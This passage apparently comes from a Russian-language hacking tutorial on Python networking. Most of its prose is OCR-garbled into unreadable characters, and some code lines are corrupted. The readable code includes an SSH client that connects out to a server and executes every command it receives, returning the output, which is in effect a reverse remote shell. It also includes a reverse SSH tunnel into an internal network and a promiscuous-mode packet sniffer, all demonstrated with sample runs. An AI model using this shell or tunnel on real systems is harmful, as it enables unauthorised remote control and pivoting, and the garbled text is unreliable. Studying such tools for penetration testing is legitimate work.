kimoun. SSH-KJT0Y Jiydiiie MoAXOANT st PealbHOU paboThl, HO, 4UTOOBI YIIPOCTHTH
ATOT IIPUMEP, OY1eM BXOAUTD B CHCTEMY C MTOMOIIBIO MMEHHU TT0JIb30BATEJISI U TTAPOJISL.

[TockoIbKY MBI KOHTPOIMPYEM 002 KOHI[A 9TOTO COETUHEHIISI, TO YCTAHABINBAEM
MIOJIUTUKY, COTJIACHO KOTOopoi SSH-cepBep, K KOTOPOMY MOAKJI0YAEMCS, TOKEeH
npuHAThL SSH-KTI09 11 yeTaHOBUTH coeinHenne @. Eciin coelnHenme ycTaHOBIEHO
YCIIETITHO, BBITIOJHSAEM KOMaHTy ©, KOTOpyIo MbI Tiepesianyl hyHKIUA ssh_command.
3areMm, e KOMaH/I[a CTeHEPUPOBAJa BBIBOJ, OTOOPasKaeM B KOHCOJHM KaKIYTO
€r0 CTPOUKY.

B riiaBHOM OJ10Ke 3a1€iicTBYETCSI HOBBIN MOy JIb getpass @. C ero moMoIib0 Mox-
HO TOJIYYUTh UMSI [I0JIb30BATEJISI B TEKYIIE cpejie, HO TIOCKOJIbKY B /IBYX HAITMX
cucTeMax MCIOJIb3YIOTCS pa3Hble MMEHa, Mbl IIPOCHUM TI0JIb30BATEJISI BBECTU CBOE
MMsT B KOMaH/THO# CTPOKe. 3aTeM BbI3biBaeM (DyHKIIUIO getpass, 4TOOBI 3aIIPOCUTD
maposib (K pPa3oyapoBaHUIO TEX, KTO JIOOUT TO/TISIIBIBAT, BBEIEHHbII TEKCT HE
Oyzer oToOpakaThCst B KOHCOJIM). 3aTeM Mbl TiostydaeM [P, mopT u KomaHty, Ko-
TOPYIO HY’KHO BBIIIOJIHUTE (cmd), 1 niepesiaeM Bce 9T0 GyHKIMKU ssh_command ©.

[TpoBeieM HEOOJIBIITYIO IPOBEPKY ¥ TOAKIIOUNMCS K HalleMy cepBepy Linux:

% python ssh_cmd.py

Username: tim

Password:

Enter server IP: 192.168.1.203

Enter port or <CR>: 22

Enter command or <CR>: id

--- Output ---

uid=1000(tim) gid=1000(tim) groups=1000(tim),27(sudo)

Kax BU/IUTE, MbI ITOAKIIOYNUJINCH 1 3aTEM BbITTOJTHUJIN KOMAaH/LY. Brr MoskeTe nerko
AalITUPOBATDh 9TOT CKPUIIT AJIsI BBITIOJTHEHUA CPa3y HECKOJbKUX KOMaH/l Ha OTHOM
i pa3abix SSH-cepsepax.
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Pa306paBIinich ¢ OCHOBaMU, MOIMMUIUPYEM ITOT CKPHIIT, UTOOBI OH MOT BBITIOJI-
HsaTh KoMauel 10 SSH na Windows-kimenre. Koneuno, 00bIYHO /7T TIOKITIO-
uenust kK SSH-cepBepy ucnosbayior SSH-KIMEHT, HO TIOCKOJIbKY B CTaHIapTHOI
rioctaBke GosbimHcTBa Beperii Windows Her SSH-cepBepa, HaM HyKHO TOMEHSITh
cepBep U KJIMEHT MECTaMU, YTOOBI TEPBbIiT MOT CJIaTh KOMAH/IbI BTOPOMY.

Coszpaiite daiisn ¢ umeHeM ssh_rcmd. py 1 HabepuTe CIIeayIolIee:

import paramiko
import shlex
import subprocess

def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)

ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print(ssh_session.recv(1024).decode())
while True:
command = ssh_session.recv(1024) ©
try:
cmd = command.decode()
if cmd == 'exit':
client.close()
break
cmd_output = subprocess.check_output(shlex.split(cmd), shell=True) @
ssh_session.send(cmd_output or ‘okay') ©
except Exception as e:
ssh_session.send(str(e))
client.close()
return
if __name__ == '__main__":
import getpass
user = getpass.getuser()
password = getpass.getpass()

ip = input('Enter server IP: ')
port = input('Enter port: ')
ssh_command(ip, port, user, password, 'ClientConnected') ©

BepxHs4 yacTb y 9TOH IpOrpaMMbl Takas ske, Kak U y npeabiayiieid. Pazninuns Ha-
YMHAIOTCS B IIMKJIE while True:. BMecTo BbIIOJIHEHMS OTHON KOMAH/IbI, KaK JIeJajIi
pamee, Mbl TIOCJIe[0BATEIbHO OepeM KOMaH Ibl 13 coequHenns @, BHITOIHIeM nx @
U 3aTeM BO3BpaIllaeM BeCh BBIBOJI BBI3BIBAIOIIEH cTOpoie ©.
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Taxske 3ameTbTe, YTO B KaueCTBE 11€PBOII KOMaH/bI MbI IijieM ClientConnec-
ted @. IIpuunny 5TOro BBI 1IOIIMeTe, Korga Oyer cospana obpaTHas CTOpPOHA
SSH-coennnenus.

Ternepp HanuIeM Mporpammy, Koropasi cosuact SSH-cepsep, 4To0bl K HEMY MOT
HOJAKJIIOUNTHCST Hamt SSH-KJINEHT, Ha CTOPOHE KOTOPOTO OYAYT BBIOJIHITHCS
komanel. OH MOsKeT paboTarh B cucreMe 1o yrnpasaenueM Linux, Windows
nim raske macOS — ruaBHOe, 4T06bI TaMm Ob1i ycTanoseHs Python u Paramiko.
Cospnaiite daiis ¢ uMeHeM ssh_server. py 1 HabepuTe CJIeayoliee:

import os

import paramiko
import socket
import sys
import threading

CWD = os.path.dirname(os.path.realpath(__file ))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key')) ©

class Server (paramiko.ServerInterface): @
def _init_(self):
self.event = threading.Event()

def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'tim') and (password == 'sekret'):
return paramiko.AUTH_SUCCESSFUL

if __name__ == '__main__":
server = '192.168.1.207'
ssh_port = 2222
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port)) ©
sock.listen(100)
print('[+] Listening for connection ...")
client, addr = sock.accept()
except Exception as e:
print('[-] Listen failed: ' + str(e))
sys.exit(1)
else:
print('[+] Got a connection!', client, addr)

bhSession = paramiko.Transport(client) @
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bhSession.add_server_key(HOSTKEY)
server = Server()
bhSession.start_server(server=server)

chan = bhSession.accept(20)
if chan is None:
print('*** No channel.')
sys.exit(1)

print('[+] Authenticated!') ©
print(chan.recv(1024)) O
chan.send('Welcome to bh_ssh')
try:
while True:
command= input("Enter command: ")
if command != ‘exit':
chan.send(command)
r = chan.recv(8192)
print(r.decode())
else:
chan.send('exit")
print('exiting"')
bhSession.close()
break
except KeyboardInterrupt:
bhSession.close()

B atoM mpumepe mbt ictionnbayeM SSH-ki1i04, BXOAAINI B COCTaB IEMOHCTPAITN-
oHHBIX (aitytoB Paramiko @. MBI HaurHaeM TIPOCIYIITTBATh COKET ©, Kak BBI yiKe
BUJIEJTN PaHee B 3TOI I1aBe, HO 3aTeM 100aBJisieM roiepkky SSH @ 1 nactpanBa-
em Meto/ibl ayTerTudukanmu @. Koria kivenT ayrentuduiupyercs © u nomier
HaM coodienne ClientConnected @, smobas komanga, sBBegennas B SSH-cepsep
(Ha KOMIIBIOTEpE, I/Ie 3aIlylleH CKPUNT ssh_server.py), Oy/er mepeaaBaThCs Ha
BeImoTHeHNEe SSH-KkMenTy (Ha KOMIIBIOTED, T/Ie 3aITyIIeH CKPUMT ssh_rcmd. py),
a TOT B CBOIO ouepe/b cTaHeT Bo3Bpaiiarh BbiBox SSH-cepsepy. ITonpobyem pea-
JIN30BATDb 3TO HA MPAKTHUKE.

MpoBepka HanucaHHoOro

B IeMOHCTpAIIMOHHBIX IeJISIX KIIMEHT Oy/IeT 3alyliieH Ha HateM ([TpUHa/LIeKaIeM
aBTOpaM) KoMirbiorepe moj yrpasiaenuem Windows, a cepsep — Ha Mac. Bor kax
3aIycKaeTcs cepBep:

% python ssh_server.py
[+] Listening for connection ...
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Ternepb 3amycTuM KaneHT Ha KomiibioTepe ¢ Windows:

C:\Users\tim>: $ python ssh_rcmd.py
Password:
Welcome to bh_ssh

Ecjii BepHYTBCSI K cepBepY, MOKHO HaOJIIOIATh ITPOIECC COEIMHEH NS

[+] Got a connection! from ('192.168.1.208', 61852)
[+] Authenticated!

ClientConnected

Enter command: whoami

desktop-cc91n7i\tim

Enter command: ipconfig
Windows IP Configuration
<nponyueHo>

Kax BunnTe, KIMEHT yCTHENTHO MOAKIIIOYUICS, TTOCTE YeTO MBI BBITIOJHIIN He-
CKOJIbKO KoMaH/l. SSH-KJIMeHT HIuero He BBIBOJIUT, HO BBITIOJIHSET T€ KOMaH/IbI,
KOTOPbIE MbI eMY OTIIPABJISIEM, a BBIBO/I Tiepe/iaeTcst obpaTo Hailemy SSH-cepBepy.

TyHHenmpoBaHue no SSH

B mpenpiyiem paszesie MbI CO3/1a7Ti MHCTPYMEHT, KOTOPBIT ITO3BOJISI HaM BBI-
MOJIHATH KOMaH bl Ha yiasleHHoM SSH-cepBepe myTem BBoj1a nx Ha SSH-kinenTe.
Cy1iecTByeT aJibTepHaTUBHbII MeTO — SSH-mynnens. BMecto Toro 4ToObI c1ath
KoMaHbI cepBepy, SSH-TyHHEeMb iepenaeT Tpaduk, yrmakoBaHHbIN BHYTpU SSH,
a SSH-cepBep ero pacmakoBBIBAeT U TOCTABJISIET.

[TpencraBbre cebe CUTYAIMIO: Y BAaC €CTh yAaJeHHbIN gocTyn kK SSH-cepBepy, HO
BbI XOTUTE 00PAaTUTHCS K BeO-CEePBEPY B TOM JKe BHYTPEHHEN ceTh. Bbl He MokeTe
cIeJIaTh 9TO HAIPsIMY10. Y cepBepa ¢ moiep:kkoit SSH ects gocty K BeO-cepsepy,
HO HA HEM He YCTaHOBJIEHBI HYKHbI€ BAM UHCTPYMEHTBIL.

YroObI PenuTh 3Ty MPOBIEMY, MOKHO co31aTh npsmoti SSH-TyHiesb. 1o mo-
3BOJIUT BaM, K TIPHMEPY, BBITTOTHUTH KOMAH/LY /IJIs PUC. 2.1, 4TOObBI MOAKIIOUNTHCS
Kk SSH-cepBepy oT nMeHU morb30BaTeNA justin u moaroToBuTh OpT 8008 Ha
CBOEM JIOKAJIbHOM KOMITbIoTepe. Bee, 4To BbI MOIILIeTe HA 9TOT MOPT, Oy/IeT HATIPaB-
JeHo 110 uMmetomemycst SSH-tynnesio k SSH-cepsepy, KOTOpbII 3aTeM Iepegact
nostydentoe Be6-cepsepy. Ha puc. 2.1 mokasano, kak 9To paboTaer.
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127.0.0.1
MopT 8008

SSH-knueHT
YnpolieHHas cxema BbINOSHEHNS KOMaHAbI Be6-cepsep
ssh -L 8008:web:80 justin@sshserver ATakyemasi ceTb

Puc. 2.1. MNpsmoe TyHHenupoeaHue no SSH

KuaccHoe petriernie, HO, Kak BbI TOMHHUTE, CYIIIECTBYET He Tak MHOTo cucteM Windows
¢ SSH-cepBepom. dta mpobiieMa Toske pernaercst. Mbl MOKeM HACTPOUTD 00pammoe
TyHHeJIbHOE coenuHenue 1o SSH. B atom ciryuae mojkiouaemcst k varemy SSH-
cepBepy Kak 0ObIYHO, U3 KJIMEHTa, 3amyiieHHoro B Windows. Uepes 1o coeinHeHne
TaK’Ke YKa3bIBaeM yAaJeHHbIH mopT Ha SSH-cepBepe, KOTOPBIN TPUBSI3BIBACTCS YEPE3
TYHHEJIb K JIOKQJTbHOMY aJIPECy U MOPTY, KaK MoKa3aHo Ha puc. 2.2, Takum o6pasom
MBI, K IPUMEPY, MOKEM OTKPBITH MOPT 3389 /1st pabOThI ¢ BHYTPEHHEH CUCTEMOIT
yepes yaaneHHbIil pabounii crosr (Remote Desktop) mim K Apyroii cucTeMe, K KOTO-
poii y kireHta Windows ectb ocTyIn (Takoil Kak BeO-cepBep B HAIlleM IpUMepe).

127.0.0.1
MopT 8008

SSH-cepBep m

yl'lpOLLleHHaﬂ cxXema BbIMOoJIHEHUA KOMaHbl Be6-cepBep

ssh -L 8008:web:80 justin@sshserver ATakyemas ceTb

Puc. 2.2. O6parHoe TyHHenuposaHue no SSH
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VIMento aTo fieyaeT 1eMOHCTPAIMOHHEIH (pafia rforward. py, BXOISIINI B COCTaB
Paramiko. On uzeanpro paboraer 6e3 KaKuX-a1H00 U3MEHEHUT, TI0ITOMY MbI He
CTaHeM ITeperevyaThiBaTh €ro B KHUTe. BMecTe 3TOT0 OTMETHM HECKOJIBKO BasKHbIX
MOMEHTOB W PACCMOTPUM TIPUMeEP ero ucrnoab3oBanusd. OTKkpoiite rforward.py
U cpasy nepenaute Kk main():

def main():
options, server, remote = parse_options() @
password = None
if options.readpass:
password = getpass.getpass('Enter SSH password: ')
client = paramiko.SSHClient() ®
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose( 'Connecting to ssh host %s:%d ...'
try:
client.connect(server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password

% (server[@], server[1]))

)

except Exception as e:
print('*** Failed to connect to %s:%d: %r' % (server[@], server[1l], e))
sys.exit(1)

verbose(
'"Now forwarding remote port %d to %s:%d ...’
% (options.port, remote[@], remote[1])

)

try:
reverse_forward_tunnel( ©
options.port, remote[@], remote[1l], client.get_transport()

)
except KeyboardInterrupt:
print('C-c: Port forwarding stopped.')
sys.exit(@)

Hecxkosbko cTpouek B camoM Bepxy @ TepernpoBepsIoT, TepeIaHbl JIU CKPUTITY BCe
HEOOXOIMMbIe apIyMEHTHI, TPesK/ie YeM HacTparBath coeanterre SSH-kmeHTa
Paramiko @ (ara yacTh yKe Jo/KHA OBITH BaM Xopolo 3Hakoma). ITocieammii
OJIOK main() BBI3BIBACT (ynximio reverse_forward_tunnel ©. /[aBaiiTe B3TIsIHEM
Ha ee KO
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def reverse_forward_tunnel(server_port, remote_host,
remote_port, transport):
transport.request_port_forward('', server_port) O
while True:
chan = transport.accept(1000) @
if chan is None:
continue
thr = threading.Thread( ©
target=handler, args=(chan, remote_host, remote_port)

)

thr.setDaemon(True)
thr.start()

Paramiko mpezocraBiisieT Ba OCHOBHBIX MeTO/[a B3aUMO/IECTBUSL: transport,
OTBETCTBEHHBIN 32 YCTAHOBJIEHHUE U TTO/I/IEPKAHIE 3aTU(PPOBAHHOTO COETUHEHNS,
u channel, KOTOPBIiT BeleT ceOst KaK COKET JIJIs OTIIPABKU U TIPUEMa JaHHbBIX 110
3amn(poBaHHOMY CEAHCY, yCTAHOBJIEHHOMY € TIOMOIIIO transport. 3/1ech Mbl Ha-
YKrHAeM MCIOJIb30BaTh (DYHKIINIO request_port_forward 13 coctaBa Paramiko st
nepenanpapienus T CP-coenunennii, moctymaonux yepe3 mopt SSH-cepsepa O,
U CO3/IaeM HOBBII KAHAJ MePe/Iauu IAHHLIX @. 3aTeM 10 TOMY KaHAJY BbI3bIBAETCS
byukius handler ©.

Ho mur erte ne 3akonuynan. Ham myskro Hanmcatb GyHKIIAO handler 11 ypas-
JIEHUS B3aUMO/IeICTBHEM B KQK/IOM ITOTOKE:

def handler(chan, host, port):
sock = socket.socket()
try:
sock.connect((host, port))
except Exception as e:
verbose( 'Forwarding request to %s:%d failed: %r' % (host, port, e))
return

verbose(
'Connected! Tunnel open %r -> %r -> %r'
% (chan.origin_addr, chan.getpeername(), (host, port))
)
while True: ©
r, w, x = select.select([sock, chan], [], [])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
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break
sock.send(data)
chan.close()
sock.close()
verbose( 'Tunnel closed from %r' % (chan.origin_addr,))

Haxounen, gannble otipasisiorces 1 npunumatorcs @. B cienyromem paszese 1o-
CMOTPHUM, UTO y HAC MOJTYIUIOCE.

MpoBepka HANUCAHHOrO

3amyctuM cKpunT rforward. py B cucreMe Windows 1 cKOHGUTYPHPYEM €ro Tak,
4TOGBI OH BBICTYTIAJ TIOCPEIHUKOM TIPH TYHHEJMPOBaHUY TparKa oT BeG-cepBepa
k Harremy SSH-cepsepy B Kali:

C:\Users\tim> python rforward.py 192.168.1.203 -p 8081 -r 192.168.1.207:3000
--user=tim--password

Enter SSH password:

Connecting to ssh host 192.168.1.203:22 .

Now forwarding remote port 8081 to 192.168.1.207:3000 .

Ha xommnbiotepe ¢ Windows BuaHO, 4T0 MbI HoAK/II0UNINCh K SSH-cepsepy 110
azpecy 192.168.1.203 u orkpeiin tam mopt 8081, uepes Kotopsiit Tpaduk Gyaer
neperanpasier Ha mopt 3000 cereBoro y3ma 192.168.1.207. Temeps, OTKPHIB
http://127.0.0.1:8081 Ha namreMm cepsepe ¢ Linux, Mbpr ogkmounmcs yepes SSH-
TYHHeJIb K BeO-cepBepy 1o aapecy 192.168.1.207:3000 (puc. 2.3).

OWASP Juice Shop - Mozilla Firefox

& OWASP Juice Shop 8 -

&« ¢ @ @ localhost 8081/ login o @1 n @ &

Kali Linune Kali Training Kali Toals Kali Docs Kali Farums NetHunter || Offensive Security = Exploit-DB

= ﬁ OWASP Juice Shop Q @ account @eEn

Login

Email

Puc. 2.3. MNpumep obpatHoro SSH-TyHHens
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Eciu BepuyThest B Windows, To TaM TOKe MOKHO HaOII04aTh YCTAHOBIEHHE CO-
enuHenud B Paramiko:

Connected! Tunnel open ('127.0.0.1', 54690) -> ('192.168.1.203', 22) ->
('192.168.1.207"', 3000)

[Iporoxos SSH u TyHHeIMpOBaHKE TI0 HEMY — 9TO BasKHbIE KOHIIETIIIUH, KOTOPBIE
HE0OXOUMO TIOHUMATD U MCIIOJIb30BaTh. XaKePbl AOJUKHBI 3HATH, KOIJa U KaK
UMEHHO UX MpuMeHsTh, u Paramiko mossossier Bam no6aButh mopuepxkky SSH
K y:Ke UMEIOTIUMCST MHCTPYMEHTaM.

B ar0ii r1aBe MbI cO3/1aJ11 OY€Hb ITPOCTHIE, HO HEOOBIYANHO TOJIE3HBIE TIPOTPAMMBbI.
[TorpobyiiTe MX pacMPUTh U MOIU(DUIIPOBATH B COOTBETCTBUU CO CBOMMU HY K-
fami, 9ToOBI Kak CJIeyeT OBJIaJIeTh ceTeBbIMU BO3MOKkHOCTsiMU Python. Moskere
MPUMEHSTh 9TH WHCTPYMEHTHI B XOJIe TECTUPOBAHUS Ha TIPOHUKHOBEHUE, TTOCTE
HOJIyIeHUsT TOCTYIA K YAAJEHHOM CUCTEME WJIM TIPU MOKMCKe OMUOOK B Yy;KOM
I1O. /laBaiiTe nepeiijieM K UCIOJIb30BAHUIO CHIPBIX COKETOB U aHATM3Y CETEBOTO
Tpaduka: 0ObeIMHIB 9T JBA TIPOIECCA, MbI HaMuIeM Ha yuctoM Python ckanep
U1t OOHAPY KEHSI CETEBBIX Y3JI0B.



HanucaHue aHanusaropa tpaduka

Ananmsaropsi cereBoro Tpaduka (sniffers), wim craud-

(hepbl, TO3BOJSIOT TIPOCMATPUBATH MAKEThI, KOTOPBIE

MPUHUMAET U OTIIPABJISIET aTaKyeMblil KoMIibioTep. bira-

roJapst 5TOMY OHH HIMPOKO MPUMEHSIOTCS Ha TIPAKTHKE

JI0 ¥ TIOCJTE TIOJTYIEHUsT IOCTYTA. B HEKOTOPBIX CITydastX BbI

CMO’KeTe BOCTIOJIb30BATHCS TOTOBBIMU CHU( M epaMu HATIOT0-

6ue Wireshark (https://wireshark.org/) wiu TakKMMU PEIIEHUSIMU, KaK

Scapy, HancanHbiMu Ha Python (mocsienree 6ymer paccMOTPEHO B CJIeayroleit

riase). TeM He MeHee BaM Oy/IET 1T0JIE3HO 3HATH, KaK OBICTPO HAIKMCATh COOCTBEH-
HBII aHAJIU3ATOP JIJIST TPOCMOTPA U IEKOANPOBAHUS CETEBOTO TpahuKa.

Cosnanme Takoro pojia UHCTPYMEHTOB MTO3BOJIMT BaM I10 TOCTOMHCTBY OIIEHUTD UX
3peJible aHAJIOTH, CIIOCOOHBIE T03a00TUTHCS O PA3TNYHBIX HIOAHCAX TP MUHIMAJTb-
HOM IIPUJIOKEHUHN YCUJINI ¢ Balliel CTOpOHBL. Bbl Takske, CKOpee Bcero, OBJajieeTe
HEKOTOPBIMU HOBBIMK ITPHEMaMi IporpaMMupoBanus Ha Python u, BosamoskHO,
CMOJKETe JIydIlie TIOHSATh TIPUHITAI pabOThI CeTH Ha HU3KOM YPOBHE.

B nipezbiynieii riiaBe Mbl 00CYsK/Ia/Iu OTIIPABKY ¥ IPUEM JIAHHBIX C UCITOJIb30BaHM-
em TCP 1 UDP. IMeHHO TaK BbI, CKOpee BCero, OyieTe B3anMOIeCTBOBATD ¢ GOJIb-
IITTHCTBOM CETEBBIX cepBUCOB. OTHAKO 3TH BBICOKOYPOBHEBBIE TTPOTOKOJIBI COCTOST
13 KOMTIOHEHTOB, KOTOPBIE OMPEEIIIOT, KAK UMEHHO OTTIPABJITIOTCS W TPUHUMA-
I0TCS CeTeBbIE MaKeThI. /[ TorydeHst HU3KOYyPOBHEBOI ceTeBOIT MH(popMaIiny,
Takoii Kak 3aroioBku 11potokosios IP (Internet Protocol — mesxcereBoii mpoToko.)
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1 ICMP (Internet Control Message Protocol — mpoTokoJI MesKCeTeBbIX YIIPaBJIsi-
IOIIX COOOTIEHUIT) B MX UCXOAHOM BH/IE, BbI OY/I€TE UCIOJIb30BATh CHIPBIE COKETHI.
B aT0ii r1aBe MBI He cTaHeM JIEKOMPOBaTh CIykebHyio mHpopmarmio Ethernet,
HO €CJIF BBl COOMPAETECh BBITTOIHITH KaKie-Tn00 HU3KOYPOBHEBBIE aTaKU BPOJIE
ARP-criyunra wim pazpabarbiBaere cpecTBa aHam3a OeCIPOBOAHBIX CeTell,
BaM HY’KHO KakK CJeIyeT pa3o6paThCst B TOM, 4TO Takoe Kajapbl Ethernet u st
YeT0 OHU HY KHBL

Jlist Havasma KpaTko 00CyIMM, Kak OOHAPYKUTh AKTUBHbIE Y3JIbI B CETMEHTE CETH.

PaszpaboTka cpeacTtBa obHapy>xeHus
ceteBbix y3nos no UDP

[aBHast 1eJIb HAIETO aHaJUu3aTopa — OOHAPY/KUTH Y3JIbl B aTaKyeMoil ceTu.
Banommukam Hy>KHA BO3MOKHOCTD BH/IETD BCE Y3JIbI, KOTOPbIE MOSKHO aTaKOBaTh,
4TOObI COCPEOTOUNTHCS Ha cOOpe NHGOPMAIIUHU U B3JIOME.

YT006BI OIIPEIETUTD, CYLIIECTBYET JIN AKTUBHBII CeTeBOM y3eJI 1o 3agaHnHoMy 1P-
ajipecy, BOCIOJIb3yeMCS N3BECTHBIM TTOBEIEHIEM OMEePAIlMOHHBIX cucTeM. Ecan
nocaate UDP-gaTarpamMmy Ha 3aKpBITBIN TOPT, COOTBETCTBYIONIUM CETEBOI y3e
006b1uHO Bo3Bpaiaet B otBeT [CMP-coobiene, CMTHATM3UPYIOIIEe O TOM, 4TO
JMaHHbIN TOPT HepocTyeH. Ito [CMP-coobieHre ToBOPUT O HAJTUYNU aKTHBHOI
CHCTEMBI, Belb ecJi Obl ee He ObLI0, MbI Obl, HABEPHOE, He MOJYYUJIH OTBET Ha
UDP-gararpammy. IToatomy ouenb BaskHO BeiOpaTh UDP-110pT, KOTOPBII, CKOpee
Bcero, He 3ajielicTByercs. /[Jd MakCMMabHOTO 0XBaTa MOKHO TIPOBEPUTH He-
CKOJIBKO MTOPTOB, YTOOBI yOEUTHCS B TOM, YTO MBI He 00paIlaeMcst K aKTHBHOMY
UDP-cepsucy.

[Touemy MbI BBIOPaJIH TIPOTOKOJI MTOJB30BATENCKUX faTtarpaMm? UYTo K, OH 1M0-
3BOJISIET PA30CJIaTh COOOTIEHNE TIO BCEHT TIOACETH U IOKIATHCST TIPUXOJIa COOTBET-
ctByfonux [CMP-oTBeToB, He TIoHECSA TOTOMHNUTETHHBIX HAKJIATHBIX PACXOIOB.
Cosnarb TaKkoii cKaHep J0BOJIBHO JIETKO, TaK Kak OGJibInas 4yacTh paboThl COCTOUT
B JIEKOAMPOBAHUN W aHAIN3€ PA3JNYHBIX 3aTOJIOBKOB CETEBOTO TTPOTOKOJA. MBI
peajiayeM 9TOT CKaHep CETEBBIX y3J10B Kak 1/ist Windows, Tak u uist Linux, 4To-
Obl MAKCUMAJIbHO TOBBICUTH BEPOSITHOCTD TOI0, YTO OH CMOKET PaboTaTh BHYTPU
KOPITIOPATUBHON CPEIBL.

MBI TaksKe MOTJIE Obl BCTPOUTH B CKaHEP JOMOJHUTEIbHYTO JIOTUKY JIJISI TPOBE/Ie-
HUS TIOJTHOIIEHHOTO CKAaHUPOBAHMsI TIOPTOB Ha JIIOOBIX 0OHAPY/KEHHbBIX y3J1aX, KakK
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03BOJIAET fesaTh Nmap. Tak MOKHO OIIPe/IeTUTD, ABJIAETCS JIU ceTeBasl aTaKka
Ha HUX OCYIIeCTBUMON Ha mpakTuke. [IpesmaraeM untaressam BBITOJIHATH 3TO
yIpaskHeHne CaMOCTOSITeNIbHO. B OyyiieM HaeeMcst yCJabImaTh OT BaC O TBOP-
YeCcKMX MO/X0/IaX K paclIupennio KiaodeBoil njaen. Mrak, mpuctymnum.

AHnanus naketoB B Windows m Linux

Pa6ora ¢ ceipbiMu cokeTamu B Windows HEMHOTO OTJIMYAETCST OT TOTO, KaK ¢ HUMU
obparatorcst B Linux, HO MbI XOTHUM, 4TOOBI OJIMH U TOT K€ aHAINU3aTOP MOKHO
OBLIIO Pa3BEPHYTh HA HECKOJBKUX TIaThopMax. B ¢BA3M ¢ 9TUM MbI CO3/1ailM
00BEKT COKETa U 3aTEM OTIPEIETNM, Ha KaKOi M1aThOpMe BBITTOTHSIETCSI HATIT KO/,
Windows TpebyeT ycTaHOBKH HEKOTOPBIX AOMOJHUTEIbHBIX (DJIATOB ¢ TIOMOIIBIO
mexanusma ynpasienus 66000m/svi6o0om (input/output control, IOCTL), 4ro6b
BKJIIOYNTD Hen3bupareabHblil peskuM Ha ceresoM untepdeiice. IOCTL mosBosser
IporpaMMaM, HaXOSAIIUMCS B IPOCTPAHCTBE TI0JIb30BATEISI, B3AUMOIEHICTBOBATD
€ KOMIIOHEHTaMM, KOTOPbIe paboTaioT B pekuMe spa. MokeTe moynraTh 06 9TOM
Ha ctpanulie http://en.wikipedia.org/wiki/Ioctl.

B nepBom nipumepe mMbl IpocTo ckoHbuUrypupyem cHudbEp Ha OCHOBE ChIPOTO
COKeTa, IPOYMTAEM OJIMH MAKeT U 3aBEPIIM paboTy:

import socket
import os

# ysen AN npociywnBaHus
HOST = '192.168.1.203"

def main():
# cospjaem Cbipoil COKeT U MpuBA3bIBaeM K o6WefOCTYMHOMY WHTepdeicy
if os.name == 'nt':
socket_protocol = socket.IPPROTO_IP
else:

socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) ©
sniffer.bind((HOST, ©))

# nenaem Tak, 4Tob6bl 3axBaTbiBancAa IP-3aronoBok
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) @

if os.name == 'nt': ©
sniffer.ioctl(socket.SIO RCVALL, socket.RCVALL_ON)

# 4YuTaem oauH nakeT
print(sniffer.recvfrom(65565)) @
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# ecnm mbl B Windows, BbiK/lo4aeM HeusbupaTesbHbIl pexum
if os.name == 'nt': ©
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
if __name__ == '__main__':
main()

Jlist Havasia ykaspiBaeM ajpec cCOOCTBEHHOTO KoMITbioTepa B KadectBe [P cere-
BOTO y3J1a, HOST, 1 co3/1aeM 00BEKT COKETa C UCIOIb30BAHNEM [TAPAMETPOB, He-
06XO/IMMBIX /LIS aHAJIN3a TIAKETOB Ha HaieM ceteBoM unrepdeiice @. Windows
MO3BOJIUT AHATIM3UPOBATD BCE BXO/ISIINE AKEThI BHE 3aBUCUMOCTH OT IIPOTOKO.JIA,
a BOT B Linux Heo6X0/I1MMO yKazaTb, 4To Hy:KHbI TOJbKO [CM P-11akeTsr. 3ameTsre,
MBI IIPUMEHSIEM Hen30MPATENbHBIN PEKUM, TPEOYIONIT a[MITHUCTPATOPCKIX
npusmiernii B Windows u Linux. 9ToT pekuM TO3BOJISIET aHATU3UPOBATH BCE
MaKeTbl, KOTOPbIE BUIUT CETEBOH aflanTep, aske He TpelHa3HavYeHHbIE /T HAITEero
CETEBOTO y3Ja. 3aTeM Mbl YKa3bIBaeM MapaMeTp cokeTa @, 6iaroziapsi KOTOPOMY
B 3aXBaThIBaeMble TAKeThI OYayT BKIOUaThest IP-3aronoBku. Cremyiontuii mar
COCTOUT B OTIPE/IEIEHIN TOTO, UCTIO/Ib3yeM Jit Mbl Windows ©: eciu jia, TO 10JIK-
HBI TOTIOJTHUTETFHO TIepeaTh ApaliBepy ceTeBoro amanrtepa mapamerpsl [OCTL,
4TOOBI BKIIOYUTH HenzOupare bubiil peskum. Ecin Windows paGoraer BHYTpu
BUPTYaJbHON MAITUHBI, BBI, CKOPEE BCETO, TIOJYUYNTE YBEIOMJIEHUE O BKIIOUEHUN
3TOTO PEKMMa TOCTEBON OIEPAIlMOHHON CHCTEMOI M, KOHEYHO K€, I0JIKHBI 3TO
pasperuTh. Termepb Mbl TOTOBBI K TIPOBEIEHUIO KAaKOTO-HUOY/[b AHAII3a U B [JAH-
HOM CJIy4ae MpoCTO BBIBOAUM BeCh TakeT @ B MCXOAHOM Bujle, 6€3 KaKoro-imbo
JEKOMPOBAHNUS. DTO TO3BOJIUT HAM YOEIUTHCS B TOM, YTO OCHOBHASI YaCTh KOZIA
cuuddepa geiictBuresnpro paboraet. [Tocse anannsa 0AHOTO MaKeTa CHOBA MPO-
BepsieM Haty OC 1, ecivi 510 Windows, BbIK/IIOYaeM Hen3OupaTeIbHbI peskiM ©,
TPeK/Ie YeM 3aBePIUTH PabOTY.

MpoBepka HanucaHHoOro

